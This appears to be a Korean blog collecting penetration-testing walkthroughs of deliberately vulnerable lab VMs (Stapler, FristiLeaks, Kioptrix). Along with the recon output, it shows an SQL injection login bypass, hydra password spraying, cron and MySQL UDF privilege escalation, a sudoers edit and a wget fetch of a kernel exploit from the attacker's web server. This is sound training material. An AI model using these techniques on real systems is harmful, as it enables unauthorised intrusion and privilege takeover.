매번 실습을 하면서 느끼는 거지만 나중에 보고서를 작성하거나, 지금처럼 블로그 글을 쓸때도 좀 정리를 잘해야 써야겠다. 라는 느낌을 많이 받고 있습니다...저 신경을 써서 작성해야겠어요!! 아자아자 화이팅!!!
실습 환경 : VirtualBox
정보 수집
저는 Nmap을 통해서 대상 호스트가 어떤 IP를 가지고 있는지 확인을 하는데, netdiscover 이라는 IP 탐색 툴도 있으니 참고하시면 됩니다.
└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.220
Host is up (0.00069s latency).
MAC Address: 08:00:27:F1:43:8D (Oracle VirtualBox virtual NIC)
└─$ nmap -p- --max-retries 1 --min-rate 1500 -Pn -n --open 192.168.45.220 -oA tcpAll
Nmap scan report for 192.168.45.220
Host is up (0.00046s latency).
Not shown: 65523 filtered tcp ports (no-response), 4 closed tcp ports (conn-refused)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
666/tcp open doom
3306/tcp open mysql
12380/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 86.97 seconds
# 포트번호 파싱
└─$ cat tcpAll.nmap | grep '/tcp' | cut -d '/' -f 1 | paste -s -d ','
21,22,53,80,139,666,3306,12380
# 디테일한 정보 수집
└─$ nmap -p 21,22,53,80,139,666,3306,12380 --max-retries 1 --max-rate 2500 -sV -sC -Pn -n --open 192.168.45.220 -oA tcpDetailed
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.219
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp open domain dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp open http PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open tcpwrapped
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 10
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, LongColumnFlag, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, SupportsTransactions, ODBCClient, IgnoreSigpipes, Co
nnectWithDatabase, Speaks41ProtocolNew, LongPassword, SupportsCompression, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, FoundRows,
SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: }..9j\x196 eH\x0Bg<`Ht\x02%6g
|_ Auth Plugin Name: mysql_native_password
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2024-06-20T19:09:07
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2024-06-20T20:09:07+01:00
|_clock-skew: mean: -13h20m16s, deviation: 34m37s, median: -13h00m17s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
# Enumeration Port Scanning Res
21 - ftp - vsftpd 2.0.8
22 - ssh - openssh 7.2p2
53 - dns - dnsmasq 2.75
80 - http - php cli server 5.5
139 - smb - smbd 4.3.9
666 - tcpwrapped - doom?
3306 - mysql - mysql 5.7.12
12380 - http -apache httpd 2.4.18
FTP(21)
Nmap을 통한 정보 수집에서는 Anonymous login이 허용되어 있었는데요 한번 확인해보겠습니다
anonymous:anonymous 를 이용해서 ftp 서버에 접근했고 note 라는 파일이 있어 파일을 가져왔습니다
└─$ cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
john이 elly에게 페이로드 정보를 업데이트하고 ftp 계정에 파일을 저장하라고 하네요
SSH(22)
optnssh 7.2p2 버전을 사용하고 있으며 ftp에서 직원들의 이름이 나오는 것을 보아 ssh로 접근했을 떄도 나오지 않을 까 싶어 접속해봅니다
직원들의 이름이 하나씩 뜨는게 뭔가 나중에 유용하겠죠?
WEB(80, 12380)
80 - http - php cli server 5.5
12380 - http - apache httpd 2.4.18
80번은 php cli 서버를 사용하고 12380은 아파치 웹 서버를 운영하는 것으로 보입니다.
80에 먼저 접속해서 페이지소스나 디렉터리 브루트포싱을 진행해봤는데 .bashrc 그리고 .profile 뭔가 유저의 홈디렉터리에 숨김 파일들을 찾았습니다 하지만 별다른 특이점은 없어보이네요...
이번엔 12380 포트로 접속해봅니다
아직 웹사이트 오픈 전 제작하고 있는 모습의 웹 사이트 입니다. 타이틀에 Tim 이라는 직원 그리고 Initech 라는 회사 인것 같네요 gobuster를 이용해서 디렉터리 브루트포싱을 진행하는데 별다른 디렉터리를 찾지 못하고 페이지 이동이 뭔가 잘 안되고 부자연스러운 느낌이라서 nikto를 이용하여 추가적인 정보 수집을 했다.
└─$ nikto -h 192.168.45.220:12380 -ssl
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.45.220
+ Target Hostname: 192.168.45.220
+ Target Port: 12380
---------------------------------------------------------------------------
+ SSL Info: Subject: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time: 2024-06-21 18:28:53 (GMT9)
SSL 정보가 뜨는 것을 보아 https 로 진행해야할 것같다. drib 툴을 이용하여 다시 디렉터리 브루트포싱 진행
└─$ mysql -u root -p -h 192.168.45.220
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 292
Server version: 5.7.12-0ubuntu1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
데이터베이스에서 wordpress user에 대한 정보도 획득할 수 있는데 덤프를 해와서 유저 목록만 파싱을 하겠습니다
이후 유저 목록을 정리한뒤 config.php 파일에서 얻었던 plbkac을 비밀번호 스프레잉 브루트포싱 공격을 통해서 SSH 로 바로 접근하는 경로가 있는지 확인할 것입니다
간단하게 파싱 완료 이후 hydra 툴을 이용해서 비밀번호 스프레잉 공격을 할 것인데, 비밀번호 스프레잉은 실습 환경이라서 그냥 막 하겠습니다
zoe 라는 직원으로 접속이 가능하겠군요
권한 상승
우선 많은 유저가 있었던 걸로 기억을 해서 /home에 들어가서 다른 유저의 .bash_history를 발견했는데 아래의 명령어를 사용하여 나열해서 확인했습니다
find -name ".bash_history" -exec cat {} \;
history에 남아있는 비밀번호가 진짜 비밀번호 인것을 확인했고 sudo -l 을 했을때 권한 상승 할 방법은 없네요
Kanode@red:~$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for JKanode:
Sorry, user JKanode may not run sudo on red.
그럼 두번째로 peter로 접속해봅니다
쉘이 굉장히 독특한 zsh 이네요
그리고 peter는 아주 강력한 직원이었습니다
네 권한 상승 완료했습니다. history 파일에 남겨져있는 기록도 아주 중요하게 생각합니다. 그래서 권한 상승할때 가장 우선적으로 확인하는거같네요 이렇게 이번 stapler 는 성공적으로 마무리하겠습니다
제 기준에서는 중간정도 난이도 였던거같아요 이전에 했던것들과 달리 분산되어있는 정보가 많다보니깐 정리하는게 살짝 많이 미숙했네요.. 모의해킹을 이틀정도 진행했는데 아직 더 화이팅 해야겠어요!!
➜ ~ cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
.-'''''-.
|'-----'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-O o `"-.o O )_,._ | |
( o O o )--.-"`O o"-.`'-----'`
'--------' ( o O o)
`----------`
<fla.....................g>
VirtualBox에서 파일 -> 가상머신 가져오기 -> 다운받은 ova 파일 선택 -> 설정 -> 네트워크 -> 어뎁터에 브릿지
이렇게 설정만 해주었고, 특별한 것은 없었습니다.
정보 수집
└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.64
Host is up (0.00020s latency).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
...
이번엔 가장 흔히 사용하는 포트 1000개에 대해서 포트 스캐닝을 해보겠습니다
└─$ sudo nmap --top-ports 1000 --max-retries 1 --min-rate 1500 -Pn -n --open 192.168.45.64 -oA tcp-1000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:05 KST
Nmap scan report for 192.168.45.64
Host is up (0.00044s latency).
Not shown: 992 filtered tcp ports (no-response), 7 filtered tcp ports (host-prohibited)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds
유일하게 80번 포트만 열려있다.
└─$ nmap -p 80 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open 192.168.45.64 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:06 KST
Nmap scan report for 192.168.45.64
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
| http-methods:
|_ Potentially risky methods: TRACE
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds
robots.txt 가 존재하고 허용되지 않는 엔드포인트는 3개가 있다
WEB
대상 호스트의 웹 페이지 페이지 소스에서는 별 다른 점은 없고 주석으로 뭔가 설명하는 글이 적혀있네요
<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA
Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->
robots.txt의 Disallow는 늘 흥미를 불러일으키죠
3개의 엔드포인트는 전부다,,단서가 될만한 것은 없습니다. 페이지 소스에서도 마찬가지였습니다
첫 웹사이트 페이지 사진에 나와있는 단어들을 포함시켜 gobuster를 이용하여 디렉터리 브루트포싱을 진행합니다 robots.txt에 있었던 디렉터리는 제외시킵니다
└─$ cat dirbrute.txt
keep
calm
and
drink
fristi
하나 건졌네요
/fristi 로 접속해봅시다. 혹시 SQL Injection이 될 수도 있으니 ' 를 넣어 테스트해봤는데 취약한점 발견하지 못했다.
페이지 소스를 확인해본 결과
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
-->
eezeepz 라는 이름을 발견했고, 주석표시된 base64로 인코딩된 코드가 발견되었습니다
eezeepz, admin,fristgod 등 3개의 유저에 접근할 수 있을 것으로 예상된다
# /home/eezeepz
bash-4.1$ cat notes.txt
cat notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
해석을 하자면
1. 자동화 체크를 할 수 있게 해놓았는데. /usr/bin 시스템 바이너리에만 접근을 줬다
2. 자주 사용하는 명령어는 Jerry라는 사람의 홈디렉터리에 복사해놨다고 한다 (chmod,df,cat,echo,ps,grep,egrep) 이 명령어는 /home/admin에서 사용가능 -> 꼭 절대 경로로 지정을 해야함
3. /tmp에 runthis 파일을 만들어 명령어를 넣으면,,,,출력은 cronresult 파일로 저장된다. -> 매 분마다 실행되는 cronjob 이다
라고 한다
bash-4.1$ echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
bash-4.1$ cd /tmp; ls
cd /tmp; ls
runthis
bash-4.1$ ls
ls
runthis
잠깐 대기한 후
bash-4.1$ ls
ls
cronresult runthis
bash-4.1$ cd /home/admin
cd /home/admin
bash-4.1$ cd
cd
bash-4.1$ pwd
pwd
/var/fristigod
bash-4.1$ ls -al
ls -al
total 16
drwxr-x--- 3 fristigod fristigod 4096 Nov 25 2015 .
drwxr-xr-x. 19 root root 4096 Nov 19 2015 ..
-rw------- 1 fristigod fristigod 864 Nov 25 2015 .bash_history
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .secret_admin_stuff
cd 명령어로 fristigod 유저의 홈디렉터리로 이동한 다음 .bash_history 파일을 한번 흝어본다
/var/fristigod/.secret_admin_stuff/doCom 이 경로에 있는 doCom 은 비밀번호 없이 sudo로 사용이 가능하다 나도 한번 시도해본다
fristi 유저로 실행 시켜야 doCom이 실행되는 것을 확인했다.
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
Usage: ./program_name terminal_command ...bash-4.1$ id
id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
이렇게 일회성 쉘을 제공하고 한가지를 입력하면 그것이 실행되는것 같다
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
찾았다. bash_history에서 본 것 같이 뒤에 명령어를 붙이면 관리자 권한으로 명령어가 실행된다. sudo를 정상적으로 사용할 수 있으니 당연한 것인가...?
우선 그렇다면 이제 이 문제는 다 풀었다.
이렇게 하면 관리자 권한의 쉘을 획득할 수 있다.
홈 디렉터리를 확인해보라고하고 매우 중요하니 삭제하지 말라고합니다
bash-4.1# cd /root
cd /root
bash-4.1# ls
ls
fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it's supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: 이 플래그는 제가 가져갑니다!
kioptrix 4번째 실습입니다. 실습 VM 구축은 이전에 설정하는 것과 똑같이 진행하면 이상없이 IP가 잘 잡힐것입니다.
실습 환경 : VirtualBox
정보 수집
└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.140
Host is up (0.00054s latency).
MAC Address: 08:00:27:B4:93:16 (Oracle VirtualBox virtual NIC)
...
└─$ nmap -p- --max-retries 2 --min-rate 2000 -Pn -n --open 192.168.45.140 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 16:57 KST
Nmap scan report for 192.168.45.140
Host is up (0.00026s latency).
Not shown: 39528 closed tcp ports (conn-refused), 26003 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 22.15 seconds
더 자세한 정보 수집을 위해 Nmap 기본 스크립트와 서비스 배너그래빙을 확인한다.
└─$ nmap -p 22,80,139,445 --max-retries 1 --min-rate 1000 -sV -sC -Pn -n --open 192.168.45.140 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 16:59 KST
Nmap scan report for 192.168.45.140
Host is up (0.00048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2024-06-18T07:12:19-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -18h47m34s, deviation: 2h49m43s, median: -20h47m35s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds
22 - openssh 4.7p1
80 - apache httpd 2.2.8
139, 445 - SMB
NetBIOS : KIOPRIX4
Domain name : localdomain
FQDN : Kioptrix4.localdomain
SMB
SMB 관련된 포트가 열려있기 때문에 Nmap SMB 프로토콜 스크립트를 이용해 좀더 자세한 정보 수집을 한다
└─$ sudo nmap -p 445 -sV --script='smb-vuln-*' -Pn -n --open 192.168.45.140 -oA smb-445
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 17:03 KST
Nmap scan report for 192.168.45.140
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:B4:93:16 (Oracle VirtualBox virtual NIC)
Host script results:
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.84 seconds
크게 특이점은 찾지 못했고, 다른 다양한 툴을 이용하여 SMB 프로토콜에 대한 정보 수집을 더 진행한다
# crackmapexec
└─$ crackmapexec smb 192.168.45.140
SMB 192.168.45.140 445 KIOPTRIX4 [*] Unix (name:KIOPTRIX4) (domain:localdomain) (signing:False) (SMBv1:True)
# smbclient -L
└─$ smbclient -L 192.168.45.140
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP KIOPTRIX4
enum4linux 툴을 이용했을때 그래도 이용할만한 정보를 찾았다
# username
loneferret
john
robert
딱히 외부에서 접근할만한 것은 보이지 않는다
WEB
웹사이트 방문시 로그인 창이 제일 먼저 뜬다. 페이지 소스, robots.txt 는 별다른 특이사항 없다.
gobuster 툴을 이용하여 디렉터리 브루트포싱 진행한다.
각 엔드포인트로 접근 시 별다른 특이사항이 없었고 대부분 index.php로 리디렉션되서 특이점이 없었다.
취약점 진단
#SQL Injection
우선 enum4linux에서 찾은 계정정보를 활용한다 그리고 SQL Injection을 하기 위해서 ' 를 넣어 어떤 결과가 출력되는지 테스트 후에 password에 1' or '1'='1 을 넣어서 로그인을 시도한다.
테스트
아주 좋은 에러가 발생했다. 대상 호스트는 MySQL 데이터베이스를 사용하고, 웹사이트 경로까지 파악을 완료했다. /images 엔드포인트가 노출되어있는 걸 봐선 File Upload 를 통해 익스플로잇도 가능할 것으로 예상한다.
# username:password
john:MyNameIsJohn
johnloneferret 는 등록되어있지 않음robert가 john이 되었다....
획득한 것은 john의 계정정보. 이것을 활용하여 SSH 연결을 한다
초기 침투
대상 호스트에 john 계정으로 로그인을 성공했다.
매우 제한적인 아이디 인것 같다. 허용된 경로는 john의 홈디렉터리 밖에 없다. 우선 이 제한될 쉘을 벗어난다
제한된 쉘을 벗어난 이후 웹사이트를 운영중인 경로로 들어가 파일을 열어본다
john@Kioptrix4:/var/www$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
데이터베이스에 대한 정보가 chechlogin.php 파일에 저장되어있다. 정보를 파악했으니 데이터베이스에 직접 접근한다.
mysql> select * from members;
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | john | MyNameIsJohn |
| 2 | robert | ADGAdsafdfwt4gadfga== |
+----+----------+-----------------------+
2 rows in set (0.00 sec)
john은 평문화된 비밀번호가 적혀있고 robert도 직접 접속해보니,, 뭔가 인코딩되거나 해시화된 비밀번호가 아닌 저 그대로의 비밀번호를 사용하고 있었다.
robert 계정 장악 완료
권한 상승
뭔가 새로운 방식의 권한 상승이 있을까 하다가 검색을 통해 찾은 MySQL UDF를 악용한 권한 상승입니다.
사용자 정의 함수를 사용하여 mysql을 실행시킨 사용자의 권한으로 명령을 실행 할 수 있는데, UDF가 작동하려면 관리자 권한으로 실행이 되어야하기 때문에 우선 확인을 한다.
이 라이브러리는 sys_exec가 사용가능해서 외부 응용프로그램을 시작하는데 사용이 가능하다고 한다.
테스트를 위해서 직접 한번 해보겠다.
test.txt 파일을 만들었는데 만약 성공을 했다면 /dev/shm 디렉터리에 파일이 있을 것이다.
성공을 했다. 그렇다면 이 방법을 이용해 /bin/bash를 SUID 설정을 하여 관리자 권한으로 올라가보자
# 변경 전
john@Kioptrix4:/dev/shm$ ls -al /bin/bash
-rwxr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash
# 변경 후
john@Kioptrix4:/dev/shm$ ls -al /bin/bash
-rwsr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash
SQL Injection, XSS 등등 다양한 취약점이 뜨는데 SQL Injection을 이용하여 익스플로잇을 해본다
gallery.php에서 SQL Injection 취약점을 이용하는 방법에 대한 텍스트 파일이다.
익스플로잇
SQL Injection이 취약한지 먼저 테스트한다.
gallery.php?id=1을 삽입 했는데도 이전의 화면과 동일한 화면이 뜨는 것이 보니 SQL Injection에 취약하다고 판단 에러메시지가 발생하는 경로가 있는지 체크하던 중 /gallery/gallery.php?id=1" 을 했을 때 에러메시지가 보이는 것을 확인했다
sqlmap 툴을 이용해 SQL Injection 공격을 실시한다.
sqlmap
└─$ sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --dbs --dbms=MySQL
...
available databases [3]:
[*] gallery
[*] information_schema
[*] mysql
...
su 명령어를 이용하여 두 계정에 접속해 sudo -l을 통해서 비밀번호 없이 사용가능한 명령어가 어떤 것이 있는지 확인한다
# dreg
dreg@Kioptrix3:/home$ sudo -l
sudo -l
[sudo] password for dreg: Mast3r
Sorry, user dreg may not run sudo on Kioptrix3.
# loneferret
loneferret@Kioptrix3:/home$ sudo -l
sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht
위와 같은 에러가 발생한다면 export TERM=xtrem 를 한번 입력해주고 다시 sudo ht를 실행
이런 터미널 화면이 뜨면 F3을 눌러서 파일을 검색하여 수정을 할 수 있는데 가장 빠르고 쉽게 권한을 얻을 수 있는 방법은
/etc/sudoers 를 수정하는 것이라고 생각했다.
이렇게 수정해준 후 F2를 눌러 저장,
[1]+ Stopped sudo ht
loneferret@Kioptrix3:/$ sudo -l
[sudo] password for loneferret:
User loneferret may run the following commands on this host:
(ALL) ALL
loneferret@Kioptrix3:/$
/etc/sudoers가 ALL 로 바뀌었다면 자유로이 명령어 사용이 가능하다는 것이다.
root@Kioptrix3:/# id; hostname; ip a
uid=0(root) gid=0(root) groups=0(root)
Kioptrix3
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 08:00:27:82:f9:f3 brd ff:ff:ff:ff:ff:ff
inet 192.168.45.193/24 brd 192.168.45.255 scope global eth1
inet6 fe80::a00:27ff:fe82:f9f3/64 scope link
valid_lft forever preferred_lft forever
bash-3.00$ cat index.php
<?php
mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
//print "Connected to MySQL<br />";
mysql_select_db("webapp");
if ($_POST['uname'] != ""){
$username = $_POST['uname'];
$password = $_POST['psw'];
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
//print $query."<br>";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
//print "ID: ".$row['id']."<br />";
}
?>
평문화된 유저 이름과, 비밀번호가 있는 것을 확인했다. 데이터베이스에 접근하여 다른 취약점이 있는지 확인한다
bash-3.00$ mysql -u john -p
mysql -u john -p
Enter password: hiroshima
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 352 to server version: 4.1.22
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databases;
show databases;
+----------+
| Database |
+----------+
| mysql |
| test |
| webapp |
+----------+
3 rows in set (0.00 sec)
정상적으로 접근이 성공했다.
데이터베이스에서 역시 두개의 유저를 발견, 해시화 되지 않고 평문화된 비밀번호 획득했다. 평문화된 비밀번호 대신 최신 알고리즘을 사용한 해시화된 알고리즘을 사용하는 것을 권장한다.
권한 상승
권한 상승을 위한 linpeas.sh 스크립트를 실행 시킨다.
딱히 권한 상승을 할 만한 취약점이 없었는데 시스템에 대한 정보가 눈에 들어왔다
대상 호스트는 CentOS 4.5 리눅스 커널은 2.6.9이다. 한번더 searchsploit 툴을 이용해 공개 취약점이 있는지 검색해본다
권한 상승 익스플로잇 코드에서 발췌한 내용이다. 대상 호스트와 동일한 OS와 커널 버전을 테스트 했다고 명시되어있다.
공격자 PC에서 파일을 다운, 컴파일 후 대상 호스트에서 실행시킨다.
# 익스플로잇 코드 가져오기
└─$ searchsploit -m 9542 .
# 공격자PC에서 웹 서버 열기
└─$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
# 대상 호스트에서 다운로드
bash-3.00$ wget http://192.168.45.219:1234/9542.c
이번 시나리오 모의해킹은 Kioptrix 입니다. 이 실습 VM은 IP가 잘안잡혀서 살짝 삽질을 좀 했는데 IP 설정하는 것 부터 설명하도록 하겠습니다.
실습 환경 : VirtualBox(Kali, 실습VM)
실습 VM 구축
1. Kioptrix 사이트에서 압축 파일을 다운 받은 후 압축을 푼다
2. VirtualBox 에서 머신 -> 새로 만들기
3. 이름 설정 및 Linux를 선택한 후 컴퓨터 아키텍쳐를 선택한다
4. 최소 메모리 크기를 1024MB로 설정하거나 기본값으로 설정한다.
5. 가상 하드 디스크를 추가하지 않음을 선택한다
6. 생성 후 네트워크 연결 설정 어댑터에 브릿지로 설정 후 고급 설정에서 PCnet-PCI II(Am79C970A)를 선택한다
7. 이후 저장소 -> 컨트롤러:IDE -> 하드디스크 추가 -> 기존 디스크 선택 -> 압축해제한 Kioptrix VMDK 파일을 검색해서 추가한다.
8. VM을 실행 시킨 후 Kali에서 IP가 뜨는지 확인한다.
이렇게 뜬다면 정상적으로 된것이다. 이제 실습을 진행하면 된다
정보수집
Nmap을 통해 실행중인 호스트를 조사한다
└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.124
Host is up (0.00029s latency).
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)
...
192.168.45.124 IP를 가진 실습 VM이 검색 되었다. Nmap을 통해서 어떤 포트가 열려있는지 또한 자세한 정보수집 까지 진행한다.
└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.124 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 17:11 KST
Nmap scan report for 192.168.45.124
Host is up (0.00032s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
